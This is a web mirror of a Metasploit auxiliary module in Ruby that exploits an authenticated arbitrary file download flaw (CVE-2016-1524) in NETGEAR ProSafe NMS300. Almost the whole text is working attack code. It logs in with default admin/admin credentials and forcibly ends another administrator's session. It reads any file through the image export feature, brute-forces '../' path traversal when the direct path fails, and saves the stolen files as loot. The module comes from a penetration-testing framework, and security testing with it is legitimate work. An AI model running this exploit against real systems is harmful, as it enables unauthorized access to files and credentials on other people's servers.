CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/netgear_auth_download.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
15
'Description' => %q{
16
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
17
The application has a file download vulnerability that can be exploited by an
18
authenticated remote attacker to download any file in the system.
19
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
20
},
21
'Author' => [
22
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
23
],
24
'License' => MSF_LICENSE,
25
'References' => [
26
['CVE', '2016-1524'],
27
['US-CERT-VU', '777024'],
28
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
29
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']
30
],
31
'DisclosureDate' => '2016-02-04'
32
)
33
)
34
35
register_options(
36
[
37
Opt::RPORT(8080),
38
OptString.new('TARGETURI', [true, 'Application path', '/']),
39
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
40
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
41
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
42
]
43
)
44
45
register_advanced_options(
46
[
47
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
48
]
49
)
50
end
51
52
def authenticate
53
res = send_request_cgi({
54
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
55
'method' => 'POST',
56
'vars_post' => {
57
'userName' => datastore['USERNAME'],
58
'password' => datastore['PASSWORD']
59
},
60
'vars_get' => { 'method' => 'login' }
61
})
62
63
if res && res.code == 200
64
cookie = res.get_cookies
65
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
66
# another admin is logged in, let's kick him out
67
res = send_request_cgi({
68
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
69
'method' => 'POST',
70
'cookie' => cookie,
71
'vars_post' => { 'singleId' => ::Regexp.last_match(1) },
72
'vars_get' => { 'method' => 'loginAgain' }
73
})
74
if res && res.code == 200 && (res.body.to_s !~ /"success":true/)
75
return nil
76
end
77
end
78
return cookie
79
end
80
return nil
81
end
82
83
def download_file(download_path, cookie)
84
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'
85
begin
86
res = send_request_cgi({
87
'method' => 'POST',
88
'cookie' => cookie,
89
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
90
'vars_get' => {
91
'method' => 'add'
92
},
93
'vars_post' => {
94
'realName' => download_path,
95
'md5' => '',
96
'fileName' => filename,
97
'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),
98
'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),
99
'deviceType' => rand(999),
100
'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),
101
'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))
102
}
103
})
104
105
if res && res.code == 200 && res.body.to_s =~ /"success":true/
106
res = send_request_cgi({
107
'method' => 'POST',
108
'cookie' => cookie,
109
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
110
'vars_get' => {
111
'method' => 'getPageList',
112
'type' => 'configImgManager'
113
},
114
'vars_post' => {
115
'everyPage' => rand(500..1498)
116
}
117
})
118
119
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
120
image_id = ::Regexp.last_match(1)
121
return send_request_cgi({
122
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
123
'method' => 'GET',
124
'cookie' => cookie,
125
'vars_get' => {
126
'method' => 'export',
127
'imageId' => image_id
128
}
129
})
130
end
131
end
132
return nil
133
rescue Rex::ConnectionRefused
134
print_error("#{peer} - Could not connect.")
135
return
136
end
137
end
138
139
def save_file(filedata)
140
vprint_line(filedata.to_s)
141
fname = File.basename(datastore['FILEPATH'])
142
143
path = store_loot(
144
'netgear.http',
145
'application/octet-stream',
146
datastore['RHOST'],
147
filedata,
148
fname
149
)
150
print_good("File saved in: #{path}")
151
end
152
153
def run
154
cookie = authenticate
155
if cookie.nil?
156
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
157
else
158
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
159
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
160
end
161
162
if datastore['FILEPATH'].blank?
163
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
164
return
165
end
166
167
filepath = datastore['FILEPATH']
168
res = download_file(filepath, cookie)
169
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
170
save_file(res.body)
171
return
172
end
173
174
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
175
count = 1
176
while count < datastore['DEPTH']
177
res = download_file(('../' * count).chomp('/') + filepath, cookie)
178
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
179
save_file(res.body)
180
return
181
end
182
count += 1
183
end
184
185
print_error("#{peer} - Failed to download file.")
186
end
187
end
188
189